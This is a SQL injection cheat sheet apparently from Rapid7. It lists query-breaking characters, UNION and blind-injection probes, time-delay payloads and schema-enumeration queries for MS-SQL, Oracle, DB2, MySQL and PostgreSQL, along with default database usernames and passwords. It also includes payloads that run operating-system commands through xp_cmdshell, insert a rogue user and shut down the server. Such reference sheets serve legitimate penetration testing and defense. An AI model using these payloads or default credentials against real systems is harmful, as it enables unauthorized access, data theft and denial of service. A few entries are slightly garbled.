RAPID7

SQL INJECTION CHEAT SHEET

www.rapid7.com

SQL Injection Discovery	
Common SQL Injection Attack Strings	
Query syntax breaking	Single Quote('), Double Quote(")
Injection SQL comment	Hyphens (--), Hash(#), Comment(/*)
Extending/Appending queries	Semicolon (;)
Injecting/Bypassing filters	CHAR(), ASCII(), HEX(), CONCAT(), CAST(), CONVERT(), NULL
Common SQL Injection Commands	
Injecting Union	Union all select NULL (Multiple columns)
Running Command	1;exec master..xp_cmdshell 'dir'>C:\inetpub\wwwroot\dir.txt' OR master.dbo.xp_cmdshell
Loading Files	LOAD_FILE(), User UTL_FILE and utfReadfileAsTable
Adding user	1'; insert into users values('nto','nto123')
DoS	1';shutdown –
Fetching Fields	select name from syscolumns where id =(select id FROM sysobjects where name = 'target table name') – (Union can help)Co
Common Blind SQL Injection Commands	
Quick Check	AND 1=1, AND 1=0
User Check	1+AND+USER_NAME()='dbo'
Injecting Wait	1;waitfor+delay+'0:0:10'
Check for sa	SELECT+ASCII(SUBSTRING((a.loginame),1,1))+FROM+master..sysprocesses+AS+a+WHERE+a.spid+=+@@SPID)=115
Looping/Sleep	BENCHMARK(TIMES, TASK), pg_sleep(10)
Default Usernames/Passwords	
Oracle	scott/tiger, dbsnmp/dbsnmp
MySQL	mysql/<BLANK>, root/<BLANK>
PostgreSQL	postgres/<BLANK>
MS-SQL	sa/<BLANK>
DB2	db2admin/db2admin

Common SQL Injection Commands for Backend Databases	
MS-SQL	
Grab version	@@version
Users	name FROM master..syslogins
Tables	name FROM master..sysobjects WHERE xtype = 'U'
Database	name FROM master..sysdatabases;
Columns	name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = '<TABLENAME')
Running User	DB_NAME()
Oracle	
Grab version	table v$version compare with 'Oracle%'
Users	* from dba_users
Tables	table_name from all_tables
Database	distinct owner from all_tables
Columns	column_name from all_tab_columns where table_name='<TABLENAME>
Running User	user from dual
IBM DB2	
Grab version	Versionnumber from sysibm.sysversions;
Users	user from sysibm.sysdummy1
Tables	name from sysibm.systables
Database	schemaname from syscat.schemata
Columns	name, tbname, coltype from sysibm.syscolumns
Running User	user from sysibm.sysdummy1
MySQL	
Grab version	@@version
Users	* from mysql.user
Tables	table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
Database	distinct(db) FROM mysql.db
Columns	table_schema, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema' AND table_name == '<TABLENAME>'
Running User	user()
PostgreSQL	
Grab version	version()
Users	* from pg_user
Database	datname FROM pg_database
Running User	user;